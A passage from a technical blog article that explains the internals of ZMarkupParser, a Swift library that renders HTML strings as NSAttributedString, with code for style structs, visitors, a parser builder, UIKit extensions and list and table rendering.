  • Encapsulate objects belonging to iOS/macOS (UIKit/Appkit).

MarkupStyle Struct

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+
public struct MarkupStyle {
+    public var font: MarkupStyleFont
+    public var paragraphStyle: MarkupStyleParagraphStyle
+    public var foregroundColor: MarkupStyleColor? = nil
+    public var backgroundColor: MarkupStyleColor? = nil
+    public var ligature: NSNumber? = nil
+    public var kern: NSNumber? = nil
+    public var tracking: NSNumber? = nil
+    public var strikethroughStyle: NSUnderlineStyle? = nil
+    public var underlineStyle: NSUnderlineStyle? = nil
+    public var strokeColor: MarkupStyleColor? = nil
+    public var strokeWidth: NSNumber? = nil
+    public var shadow: NSShadow? = nil
+    public var textEffect: String? = nil
+    public var attachment: NSTextAttachment? = nil
+    public var link: URL? = nil
+    public var baselineOffset: NSNumber? = nil
+    public var underlineColor: MarkupStyleColor? = nil
+    public var strikethroughColor: MarkupStyleColor? = nil
+    public var obliqueness: NSNumber? = nil
+    public var expansion: NSNumber? = nil
+    public var writingDirection: NSNumber? = nil
+    public var verticalGlyphForm: NSNumber? = nil
+    //...
+
+    // Inherited from...
+    // Default: When a field is nil, it is filled with data from the "from" MarkupStyle object.
+    mutating func fillIfNil(from: MarkupStyle?) {
+        guard let from = from else { return }
+
+        var currentFont = self.font
+        currentFont.fillIfNil(from: from.font)
+        self.font = currentFont
+
+        var currentParagraphStyle = self.paragraphStyle
+        currentParagraphStyle.fillIfNil(from: from.paragraphStyle)
+        self.paragraphStyle = currentParagraphStyle
+        //...
+    }
+
+    // Convert MarkupStyle to NSAttributedString.Key: Any
+    func render() -> [NSAttributedString.Key: Any] {
+        var data: [NSAttributedString.Key: Any] = [:]
+
+        if let font = font.getFont() {
+            data[.font] = font
+        }
+
+        if let ligature = self.ligature {
+            data[.ligature] = ligature
+        }
+        //...
+        return data
+    }
+}
+
+public struct MarkupStyleFont: MarkupStyleItem {
+    public enum FontWeight {
+        case style(FontWeightStyle)
+        case rawValue(CGFloat)
+    }
+    public enum FontWeightStyle: String {
+        case ultraLight, light, thin, regular, medium, semibold, bold, heavy, black
+        // ...
+    }
+
+    public var size: CGFloat?
+    public var weight: FontWeight?
+    public var italic: Bool?
+    //...
+}
+
+public struct MarkupStyleParagraphStyle: MarkupStyleItem {
+    public var lineSpacing: CGFloat? = nil
+    public var paragraphSpacing: CGFloat? = nil
+    public var alignment: NSTextAlignment? = nil
+    public var headIndent: CGFloat? = nil
+    public var tailIndent: CGFloat? = nil
+    public var firstLineHeadIndent: CGFloat? = nil
+    public var minimumLineHeight: CGFloat? = nil
+    public var maximumLineHeight: CGFloat? = nil
+    public var lineBreakMode: NSLineBreakMode? = nil
+    public var baseWritingDirection: NSWritingDirection? = nil
+    public var lineHeightMultiple: CGFloat? = nil
+    public var paragraphSpacingBefore: CGFloat? = nil
+    public var hyphenationFactor: Float? = nil
+    public var usesDefaultHyphenation: Bool? = nil
+    public var tabStops: [NSTextTab]? = nil
+    public var defaultTabInterval: CGFloat? = nil
+    public var textLists: [NSTextList]? = nil
+    public var allowsDefaultTighteningForTruncation: Bool? = nil
+    public var lineBreakStrategy: NSParagraphStyle.LineBreakStrategy? = nil
+    //...
+}
+
+public struct MarkupStyleColor {
+    let red: Int
+    let green: Int
+    let blue: Int
+    let alpha: CGFloat
+    //...
+}
+

This corresponds to the implementation of MarkupStyle in the source code.

Additionally, we also referred to W3c wiki, where browser predefined color names are enumerated with their corresponding color text and color R, G, B values: MarkupStyleColorName.swift.

HTMLTagStyleAttribute & HTMLTagStyleAttributeVisitor

Let’s talk a bit about these two objects since HTML tags allow them to be combined with CSS style settings. To do this, we use the same abstraction as in HTMLTagName and apply it again to HTML Style Attributes.

For instance, HTML might provide: <a style=”color:red;font-size:14px”>RedLink</a>, which means this link should be styled with red color and a font size of 14px.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+
public protocol HTMLTagStyleAttribute {
+    var styleName: String { get }
+    
+    func accept<V: HTMLTagStyleAttributeVisitor>(_ visitor: V) -> V.Result
+}
+
+public protocol HTMLTagStyleAttributeVisitor {
+    associatedtype Result
+    
+    func visit(styleAttribute: HTMLTagStyleAttribute) -> Result
+    func visit(_ styleAttribute: ColorHTMLTagStyleAttribute) -> Result
+    func visit(_ styleAttribute: FontSizeHTMLTagStyleAttribute) -> Result
+    //...
+}
+
+public extension HTMLTagStyleAttributeVisitor {
+    func visit(styleAttribute: HTMLTagStyleAttribute) -> Result {
+        return styleAttribute.accept(self)
+    }
+}
+

Corresponding implementation of HTMLTagStyleAttribute in the source code.

HTMLTagStyleAttributeToMarkupStyleVisitor

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
struct HTMLTagStyleAttributeToMarkupStyleVisitor: HTMLTagStyleAttributeVisitor {
+    typealias Result = MarkupStyle?
+    
+    let value: String
+    
+    func visit(_ styleAttribute: ColorHTMLTagStyleAttribute) -> Result {
+        // Extract Color Hex or Mapping from HTML Pre-defined Color Name using regex, please refer to the source code.
+        guard let color = MarkupStyleColor(string: value) else { return nil }
+        return MarkupStyle(foregroundColor: color)
+    }
+    
+    func visit(_ styleAttribute: FontSizeHTMLTagStyleAttribute) -> Result {
+        // Extract 10px -> 10 using regex, please refer to the source code.
+        guard let size = self.convert(fromPX: value) else { return nil }
+        return MarkupStyle(font: MarkupStyleFont(size: CGFloat(size)))
+    }
+    // ...
+}
+

Corresponding implementation of HTMLTagAttributeToMarkupStyleVisitor.swift in the source code.

The value of init is set to the value of attribute, and it is converted to the corresponding MarkupStyle field based on the visit type.

HTMLElementMarkupComponentMarkupStyleVisitor

After introducing the MarkupStyle object, we need to convert the results from HTMLElementComponents of Normalization into MarkupStyle.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+
// MarkupStyle policy
+public enum MarkupStylePolicy {
+    case respectMarkupStyleFromCode // Take the style from Code as the main one and use HTML Style Attribute to fill in the gaps
+    case respectMarkupStyleFromHTMLStyleAttribute // Take the style from HTML Style Attribute as the main one and use Code to fill in the gaps
+}
+
+struct HTMLElementMarkupComponentMarkupStyleVisitor: MarkupVisitor {
+
+    typealias Result = MarkupStyle?
+    
+    let policy: MarkupStylePolicy
+    let components: [HTMLElementMarkupComponent]
+    let styleAttributes: [HTMLTagStyleAttribute]
+
+    func visit(_ markup: BoldMarkup) -> Result {
+        // The `.bold` is just a default style defined in MarkupStyle. Please refer to the Source Code.
+        return defaultVisit(components.value(markup: markup), defaultStyle: .bold)
+    }
+    
+    func visit(_ markup: LinkMarkup) -> Result {
+        // The `.link` is just a default style defined in MarkupStyle. Please refer to the Source Code.
+        var markupStyle = defaultVisit(components.value(markup: markup), defaultStyle: .link) ?? .link
+        
+        // Get the corresponding HTMLElement for LinkMarkup from HTMLElementComponents
+        // Find the href parameter in the attributes of HtmlElement (in the form of an HTML URL string)
+        if let href = components.value(markup: markup)?.attributes?["href"] as? String,
+           let url = URL(string: href) {
+            markupStyle.link = url
+        }
+        return markupStyle
+    }
+
+    // ...
+}
+
+extension HTMLElementMarkupComponentMarkupStyleVisitor {
+    // Get the specified customized MarkupStyle from the HTMLTag container
+    private func customStyle(_ htmlElement: HTMLElementMarkupComponent.HTMLElement?) -> MarkupStyle? {
+        guard let customStyle = htmlElement?.tag.customStyle else {
+            return nil
+        }
+        return customStyle
+    }
+    
+    // Default action
+    func defaultVisit(_ htmlElement: HTMLElementMarkupComponent.HTMLElement?, defaultStyle: MarkupStyle? = nil) -> Result {
+        var markupStyle: MarkupStyle? = customStyle(htmlElement) ?? defaultStyle
+        // Get the LinkMarkup corresponding to HtmlElementComponents
+        // Check if the HtmlElement has the `Style` Attribute
+        guard let styleString = htmlElement?.attributes?["style"],
+              styleAttributes.count > 0 else {
+            // If not, return the markupStyle as is
+            return markupStyle
+        }
+
+        // If there are Style Attributes
+        // Split the Style Value string into an array
+        // e.g. font-size:14px;color:red -> ["font-size":"14px","color":"red"]
+        let styles = styleString.split(separator: ";").filter { $0.trimmingCharacters(in: .whitespacesAndNewlines) != "" }.map { $0.split(separator: ":") }
+        
+        for style in styles {
+            guard style.count == 2 else {
+                continue
+            }
+            // e.g font-szie
+            let key = style[0].trimmingCharacters(in: .whitespacesAndNewlines)
+            // e.g. 14px
+            let value = style[1].trimmingCharacters(in: .whitespacesAndNewlines)
+            
+            if let styleAttribute = styleAttributes.first(where: { $0.isEqualTo(styleName: key) }) {
+                // Use the HTMLTagStyleAttributeToMarkupStyleVisitor from the previous context to convert to MarkupStyle
+                let visitor = HTMLTagStyleAttributeToMarkupStyleVisitor(value: value)
+                if var thisMarkupStyle = visitor.visit(styleAttribute: styleAttribute) {
+                    // When the Style Attribute has a converted value..
+                    // Merge the previous MarkupStyle result with this one
+                    thisMarkupStyle.fillIfNil(from: markupStyle)
+                    markupStyle = thisMarkupStyle
+                }
+            }
+        }
+        
+        // If there is a default Style
+        if var defaultStyle = defaultStyle {
+            switch policy {
+                case .respectMarkupStyleFromHTMLStyleAttribute:
+                  // Take the Style Attribute MarkupStyle as the main one and then merge with the defaultStyle result
+                    markupStyle?.fillIfNil(from: defaultStyle)
+                case .respectMarkupStyleFromCode:
+                  // Take the defaultStyle as the main one and then merge with the Style Attribute MarkupStyle result
+                  defaultStyle.fillIfNil(from: markupStyle)
+                  markupStyle = defaultStyle
+            }
+        }
+        
+        return markupStyle
+    }
+}
+

The implementation corresponds to the original code in HTMLTagAttributeToMarkupStyleVisitor.swift.

We will define some default styles in MarkupStyle. In some cases, if certain Markup elements do not have the desired styles specified externally, they will use the default styles.

There are two style inheritance strategies:

  • respectMarkupStyleFromCode: The default styles take precedence; then, check the Style Attributes to see if any additional styles can be applied, but ignore them if they already have a value.
  • respectMarkupStyleFromHTMLStyleAttribute: The Style Attributes take precedence; then, check the default styles to see if any additional styles can be applied, but ignore them if they already have a value.

HTMLElementWithMarkupToMarkupStyleProcessor

This processor converts the normalization result into an AST & MarkupStyleComponent.

Declare a new MarkupComponent to hold the corresponding MarkupStyle:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
struct MarkupStyleComponent: MarkupComponent {
+    typealias T = MarkupStyle
+    
+    let markup: Markup
+    let value: MarkupStyle
+    init(markup: Markup, value: MarkupStyle) {
+        self.markup = markup
+        self.value = value
+    }
+}
+

Simple traversal of the Markup Tree & HTMLElementMarkupComponent structure:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+
let styleAttributes: [HTMLTagStyleAttribute]
+let policy: MarkupStylePolicy
+    
+func process(from: (Markup, [HTMLElementMarkupComponent])) -> [MarkupStyleComponent] {
+  var components: [MarkupStyleComponent] = []
+  let visitor = HTMLElementMarkupComponentMarkupStyleVisitor(policy: policy, components: from.1, styleAttributes: styleAttributes)
+  walk(markup: from.0, visitor: visitor, components: &components)
+  return components
+}
+    
+func walk(markup: Markup, visitor: HTMLElementMarkupComponentMarkupStyleVisitor, components: inout [MarkupStyleComponent]) {
+        
+  if let markupStyle = visitor.visit(markup: markup) {
+    components.append(.init(markup: markup, value: markupStyle))
+  }
+        
+  for markup in markup.childMarkups {
+    walk(markup: markup, visitor: visitor, components: &components)
+  }
+}
+
+// print(components)
+// [(markup: LinkMarkup, MarkupStyle(link: https://zhgchg.li, color: .blue)]
+// [(markup: BoldMarkup, MarkupStyle(font: .init(weight: .bold))]
+

Corresponding implementation in the source code can be found in HTMLElementWithMarkupToMarkupStyleProcessor.swift.

Flow result as shown in the above image

Flow result as shown in the above image

Render — Convert To NSAttributedString

Now that we have the abstract HTML Tag tree structure and corresponding MarkupStyle, we can proceed with the final step of generating the NSAttributedString rendering result.

MarkupNSAttributedStringVisitor

This is the implementation of the MarkupVisitor protocol to convert markup into NSAttributedString.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+
struct MarkupNSAttributedStringVisitor: MarkupVisitor {
+    typealias Result = NSAttributedString
+    
+    let components: [MarkupStyleComponent]
+    // MarkupStyle for root/base, externally specified, for example, to set the overall font size.
+    let rootStyle: MarkupStyle?
+    
+    func visit(_ markup: RootMarkup) -> Result {
+        // Traverse to the RawString object.
+        return collectAttributedString(markup)
+    }
+    
+    func visit(_ markup: RawStringMarkup) -> Result {
+        // Return the Raw String.
+        // Collect all MarkupStyles in the chain.
+        // Apply the Style to NSAttributedString.
+        return applyMarkupStyle(markup.attributedString, with: collectMarkupStyle(markup))
+    }
+    
+    func visit(_ markup: BoldMarkup) -> Result {
+        // Traverse to the RawString object.
+        return collectAttributedString(markup)
+    }
+    
+    func visit(_ markup: LinkMarkup) -> Result {
+        // Traverse to the RawString object.
+        return collectAttributedString(markup)
+    }
+    // ...
+}
+
+private extension MarkupNSAttributedStringVisitor {
+    // Apply the Style to NSAttributedString.
+    func applyMarkupStyle(_ attributedString: NSAttributedString, with markupStyle: MarkupStyle?) -> NSAttributedString {
+        guard let markupStyle = markupStyle else { return attributedString }
+        let mutableAttributedString = NSMutableAttributedString(attributedString: attributedString)
+        mutableAttributedString.addAttributes(markupStyle.render(), range: NSMakeRange(0, mutableAttributedString.string.utf16.count))
+        return mutableAttributedString
+    }
+
+    func collectAttributedString(_ markup: Markup) -> NSMutableAttributedString {
+        // Collect from downstream.
+        // Root -> Bold -> String("Bold")
+        //      \
+        //       > String("Test")
+        // Result: Bold Test
+        // Traverse down the tree to find raw strings, recursively visit and combine them into the final NSAttributedString.
+        return markup.childMarkups.compactMap({ visit(markup: $0) }).reduce(NSMutableAttributedString()) { partialResult, attributedString in
+            partialResult.append(attributedString)
+            return partialResult
+        }
+    }
+    
+    func collectMarkupStyle(_ markup: Markup) -> MarkupStyle? {
+        // Collect from upstream.
+        // String("Test") -> Bold -> Italic -> Root
+        // Result: style: Bold+Italic
+        // Traverse up the tree to find parent tag's markup style.
+        // Then inherit styles layer by layer.
+        var currentMarkup: Markup? = markup.parentMarkup
+        var currentStyle = components.value(markup: markup)
+        while let thisMarkup = currentMarkup {
+            guard let thisMarkupStyle = components.value(markup: thisMarkup) else {
+                currentMarkup = thisMarkup.parentMarkup
+                continue
+            }
+
+            if var thisCurrentStyle = currentStyle {
+                thisCurrentStyle.fillIfNil(from: thisMarkupStyle)
+                currentStyle = thisCurrentStyle
+            } else {
+                currentStyle = thisMarkupStyle
+            }
+
+            currentMarkup = thisMarkup.parentMarkup
+        }
+        
+        if var currentStyle = currentStyle {
+            currentStyle.fillIfNil(from: rootStyle)
+            return currentStyle
+        } else {
+            return rootStyle
+        }
+    }
+}
+

This corresponds to the MarkupNSAttributedStringVisitor.swift in the source code.

The workflow and result are depicted in the above image.

The workflow and result are depicted in the above image.

Finally, we arrive at the following:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
Link{
+    NSColor = "Blue";
+    NSFont = "<UICTFont: 0x145d17600> font-family: \".SFUI-Regular\"; font-weight: normal; font-style: normal; font-size: 13.00pt";
+    NSLink = "https://zhgchg.li";
+}nk{
+    NSColor = "Blue";
+    NSFont = "<UICTFont: 0x145d18710> font-family: \".SFUI-Semibold\"; font-weight: bold; font-style: normal; font-size: 13.00pt";
+    NSLink = "https://zhgchg.li";
+}Bold{
+    NSFont = "<UICTFont: 0x145d18710> font-family: \".SFUI-Semibold\"; font-weight: bold; font-style: normal; font-size: 13.00pt";
+}
+

🎉🎉🎉🎉 It’s done! 🎉🎉🎉🎉

We have now completed the entire conversion process from HTML String to NSAttributedString.

Stripper — Removing HTML Tags

Stripping HTML tags is relatively simple, requiring only the following code snippet:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
func attributedString(_ markup: Markup) -> NSAttributedString {
+  if let rawStringMarkup = markup as? RawStringMarkup {
+    return rawStringMarkup.attributedString
+  } else {
+    return markup.childMarkups.compactMap({ attributedString($0) }).reduce(NSMutableAttributedString()) { partialResult, attributedString in
+      partialResult.append(attributedString)
+      return partialResult
+    }
+  }
+}
+

The corresponding implementation can be found in the MarkupStripperProcessor.swift file.

It functions similarly to Render, but specifically returns the content when RawStringMarkup is encountered.

Extend — Dynamic Extension

To extend coverage for all HTML Tags/Style Attributes, a dynamic extension approach was adopted, making it convenient to dynamically expand objects directly from the code:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+
public struct ExtendTagName: HTMLTagName {
+    public let string: String
+    
+    public init(_ w3cHTMLTagName: WC3HTMLTagName) {
+        self.string = w3cHTMLTagName.rawValue
+    }
+    
+    public init(_ string: String) {
+        self.string = string.trimmingCharacters(in: .whitespacesAndNewlines).lowercased()
+    }
+    
+    public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor {
+        return visitor.visit(self)
+    }
+}
+// to
+final class ExtendMarkup: Markup {
+    weak var parentMarkup: Markup? = nil
+    var childMarkups: [Markup] = []
+
+    func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor {
+        return visitor.visit(self)
+    }
+}
+
+//----
+
+public struct ExtendHTMLTagStyleAttribute: HTMLTagStyleAttribute {
+    public let styleName: String
+    public let render: ((String) -> (MarkupStyle?)) // Dynamic use of closure to change MarkupStyle
+    
+    public init(styleName: String, render: @escaping ((String) -> (MarkupStyle?))) {
+        self.styleName = styleName
+        self.render = render
+    }
+    
+    public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagStyleAttributeVisitor {
+        return visitor.visit(self)
+    }
+}
+

ZHTMLParserBuilder

Finally, we employ the Builder Pattern to allow external modules to swiftly construct the necessary objects for ZMarkupParser and handle Access Level Control.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+
public final class ZHTMLParserBuilder {
+    
+    private(set) var htmlTags: [HTMLTag] = []
+    private(set) var styleAttributes: [HTMLTagStyleAttribute] = []
+    private(set) var rootStyle: MarkupStyle?
+    private(set) var policy: MarkupStylePolicy = .respectMarkupStyleFromCode
+    
+    public init() {
+        
+    }
+    
+    public static func initWithDefault() -> Self {
+        var builder = Self.init()
+        for htmlTagName in ZHTMLParserBuilder.htmlTagNames {
+            builder = builder.add(htmlTagName)
+        }
+        for styleAttribute in ZHTMLParserBuilder.styleAttributes {
+            builder = builder.add(styleAttribute)
+        }
+        return builder
+    }
+    
+    public func set(_ htmlTagName: HTMLTagName, withCustomStyle markupStyle: MarkupStyle?) -> Self {
+        return self.add(htmlTagName, withCustomStyle: markupStyle)
+    }
+    
+    public func add(_ htmlTagName: HTMLTagName, withCustomStyle markupStyle: MarkupStyle? = nil) -> Self {
+        // Only one instance of the same tagName can exist
+        htmlTags.removeAll { htmlTag in
+            return htmlTag.tagName.string == htmlTagName.string
+        }
+        
+        htmlTags.append(HTMLTag(tagName: htmlTagName, customStyle: markupStyle))
+        
+        return self
+    }
+    
+    public func add(_ styleAttribute: HTMLTagStyleAttribute) -> Self {
+        styleAttributes.removeAll { thisStyleAttribute in
+            return thisStyleAttribute.styleName == styleAttribute.styleName
+        }
+        
+        styleAttributes.append(styleAttribute)
+        
+        return self
+    }
+    
+    public func set(rootStyle: MarkupStyle) -> Self {
+        self.rootStyle = rootStyle
+        return self
+    }
+    
+    public func set(policy: MarkupStylePolicy) -> Self {
+        self.policy = policy
+        return self
+    }
+    
+    public func build() -> ZHTMLParser {
+        // ZHTMLParser init is only accessible internally, and external entities cannot initialize it directly.
+        // It can only be initialized through ZHTMLParserBuilder init.
+        return ZHTMLParser(htmlTags: htmlTags, styleAttributes: styleAttributes, policy: policy, rootStyle: rootStyle)
+    }
+}
+

Corresponding implementation for ZHTMLParserBuilder.swift in the source code.

The ‘initWithDefault’ function is set to include all implemented HTML tag names and style attributes by default.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+
public extension ZHTMLParserBuilder {
+    static var htmlTagNames: [HTMLTagName] {
+        return [
+            A_HTMLTagName(),
+            B_HTMLTagName(),
+            BR_HTMLTagName(),
+            DIV_HTMLTagName(),
+            HR_HTMLTagName(),
+            I_HTMLTagName(),
+            LI_HTMLTagName(),
+            OL_HTMLTagName(),
+            P_HTMLTagName(),
+            SPAN_HTMLTagName(),
+            STRONG_HTMLTagName(),
+            U_HTMLTagName(),
+            UL_HTMLTagName(),
+            DEL_HTMLTagName(),
+            TR_HTMLTagName(),
+            TD_HTMLTagName(),
+            TH_HTMLTagName(),
+            TABLE_HTMLTagName(),
+            IMG_HTMLTagName(handler: nil),
+            // ...
+        ]
+    }
+}
+
+public extension ZHTMLParserBuilder {
+    static var styleAttributes: [HTMLTagStyleAttribute] {
+        return [
+            ColorHTMLTagStyleAttribute(),
+            BackgroundColorHTMLTagStyleAttribute(),
+            FontSizeHTMLTagStyleAttribute(),
+            FontWeightHTMLTagStyleAttribute(),
+            LineHeightHTMLTagStyleAttribute(),
+            WordSpacingHTMLTagStyleAttribute(),
+            // ...
+        ]
+    }
+}
+

The initialization of ZHTMLParser restricts it to being internal, meaning it cannot be directly initialized from outside and can only be initialized through ZHTMLParserBuilder.

ZHTMLParser encapsulates the operations for rendering, selecting, and stripping:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+
public final class ZHTMLParser: ZMarkupParser {
+    let htmlTags: [HTMLTag]
+    let styleAttributes: [HTMLTagStyleAttribute]
+    let rootStyle: MarkupStyle?
+
+    internal init(...) {
+    }
+    
+    // Retrieves link style attributes
+    public var linkTextAttributes: [NSAttributedString.Key: Any] {
+        // ...
+    }
+    
+    public func selector(_ string: String) -> HTMLSelector {
+        // ...
+    }
+    
+    public func selector(_ attributedString: NSAttributedString) -> HTMLSelector {
+        // ...
+    }
+    
+    public func render(_ string: String) -> NSAttributedString {
+        // ...
+    }
+    
+    // Allows rendering NSAttributedString within a node using the HTMLSelector result
+    public func render(_ selector: HTMLSelector) -> NSAttributedString {
+        // ...
+    }
+    
+    public func render(_ attributedString: NSAttributedString) -> NSAttributedString {
+        // ...
+    }
+    
+    public func stripper(_ string: String) -> String {
+        // ...
+    }
+    
+    public func stripper(_ attributedString: NSAttributedString) -> NSAttributedString {
+        // ...
+    }
+    
+    // ...
+}
+

This corresponds to the implementation in the ZHTMLParser.swift source code.

UIKit Issue

When using NSAttributedString, the most common scenario is to display it in a UITextView. However, there are some considerations to be aware of:

  • The link style inside a UITextView is uniformly determined by the linkTextAttributes property, and it won’t take into account the settings in NSAttributedString.Key. Moreover, individual link styles cannot be set separately. This is why we have the ZMarkupParser.linkTextAttributes available.
  • As for UILabel, there is currently no direct way to change the link style. Also, since UILabel does not have TextStorage, if you want to include NSTextAttachment images, you will need to handle it differently.
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+
public extension UITextView {
+    func setHtmlString(_ string: String, with parser: ZHTMLParser) {
+        self.setHtmlString(NSAttributedString(string: string), with: parser)
+    }
+    
+    func setHtmlString(_ string: NSAttributedString, with parser: ZHTMLParser) {
+        self.attributedText = parser.render(string)
+        self.linkTextAttributes = parser.linkTextAttributes
+    }
+}
+
+public extension UILabel {
+    func setHtmlString(_ string: String, with parser: ZHTMLParser) {
+        self.setHtmlString(NSAttributedString(string: string), with: parser)
+    }
+    
+    func setHtmlString(_ string: NSAttributedString, with parser: ZHTMLParser) {
+        let attributedString = parser.render(string)
+        attributedString.enumerateAttribute(NSAttributedString.Key.attachment, in: NSMakeRange(0, attributedString.string.utf16.count), options: []) { (value, effectiveRange, nil) in
+            guard let attachment = value as? ZNSTextAttachment else {
+                return
+            }
+            
+            attachment.register(self)
+        }
+        
+        self.attributedText = attributedString
+    }
+}
+

With these extensions added to UIKit, external users can simply use setHTMLString() without worries to accomplish the binding.

Handling Complex Rendering - Item Lists

Here, we document the implementation of item lists.

Using <ol> / <ul> in HTML to represent item lists:

1
+2
+3
+4
+5
+6
+
<ul>
+    <li>ItemA</li>
+    <li>ItemB</li>
+    <li>ItemC</li>
+    //...
+</ul>
+

Using the same parsing method mentioned earlier, we can obtain the other list items in visit(_ markup: ListItemMarkup) and know the current list index (thanks to the conversion to AST).

1
+2
+3
+4
+
func visit(_ markup: ListItemMarkup) -> Result {
+  let siblingListItems = markup.parentMarkup?.childMarkups.filter({ $0 is ListItemMarkup }) ?? []
+  let position = (siblingListItems.firstIndex(where: { $0 === markup }) ?? 0)
+}
+

NSParagraphStyle has an NSTextList object that can be used to display list items, but customization of the blank width is not possible (personally, I find the default blank width too large). If there is any space between the item symbol and the string, it may cause the line break to occur in an unexpected place, resulting in a strange display, as shown below:

Line Break Issue

There is a possibility to achieve better results through setting headIndent, firstLineHeadIndent, and NSTextTab, but even with testing, it may not produce perfect results for longer strings with varying font sizes.

For now, we have reached an acceptable result by manually composing the item list strings and inserting them before the content.

We only utilize NSTextList.MarkerFormat to generate item list symbols, rather than directly using NSTextList.

Supported list item symbols can be found here: MarkupStyleList.swift

The final display result: ( <ol><li> )

Final Display

Handling Complex Rendering - Tables

Similar to item lists, but this time for tables.

Using <table> in HTML to represent a table, <tr> for table rows, and <td>/<th> for table cells:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+
<table>
+  <tr>
+    <th>Company</th>
+    <th>Contact</th>
+    <th>Country</th>
+  </tr>
+  <tr>
+    <td>Alfreds Futterkiste</td>
+    <td>Maria Anders</td>
+    <td>Germany</td>
+  </tr>
+  <tr>
+    <td>Centro comercial Moctezuma</td>
+    <td>Francisco Chang</td>
+    <td>Mexico</td>
+  </tr>
+</table>
+

Testing with the native NSAttributedString.DocumentType.html has shown that it relies on Private macOS API NSTextBlock to achieve the rendering of HTML tables, enabling it to display the styles and contents accurately.

However, relying on Private API is not recommended. We cannot use Private API 🥲

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+
func visit(_ markup: TableColumnMarkup) -> Result {
+    let attributedString = collectAttributedString(markup)
+    let siblingColumns = markup.parentMarkup?.childMarkups.filter({ $0 is TableColumnMarkup }) ?? []
+    let position = (siblingColumns.firstIndex(where: { $0 === markup }) ?? 0)
+    
+    // Check if a desired width is specified externally, if not, set .max to prevent string truncation
+    var maxLength: Int? = markup.fixedMaxLength
+    if maxLength == nil {
+        // If not specified, find the length of the first line in the same column as the maximum length
+        if let tableRowMarkup = markup.parentMarkup as? TableRowMarkup,
+           let firstTableRow = tableRowMarkup.parentMarkup?.childMarkups.first(where: { $0 is TableRowMarkup }) as? TableRowMarkup {
+            let firstTableRowColumns = firstTableRow.childMarkups.filter({ $0 is TableColumnMarkup })
+            if firstTableRowColumns.indices.contains(position) {
+                let firstTableRowColumnAttributedString = collectAttributedString(firstTableRowColumns[position])
+                let length = firstTableRowColumnAttributedString.string.utf16.count
+                maxLength = length
+            }
+        }
+    }
+    
+    if let maxLength = maxLength {
+        // Truncate the field if it exceeds maxLength
+        if attributedString.string.utf16.count > maxLength {
+            attributedString.mutableString.setString(String(attributedString.string.prefix(maxLength)) + "...")
+        } else {
+            attributedString.mutableString.setString(attributedString.string.padding(toLength: maxLength, withPad: " ", startingAt: 0))
+        }
+    }
+    
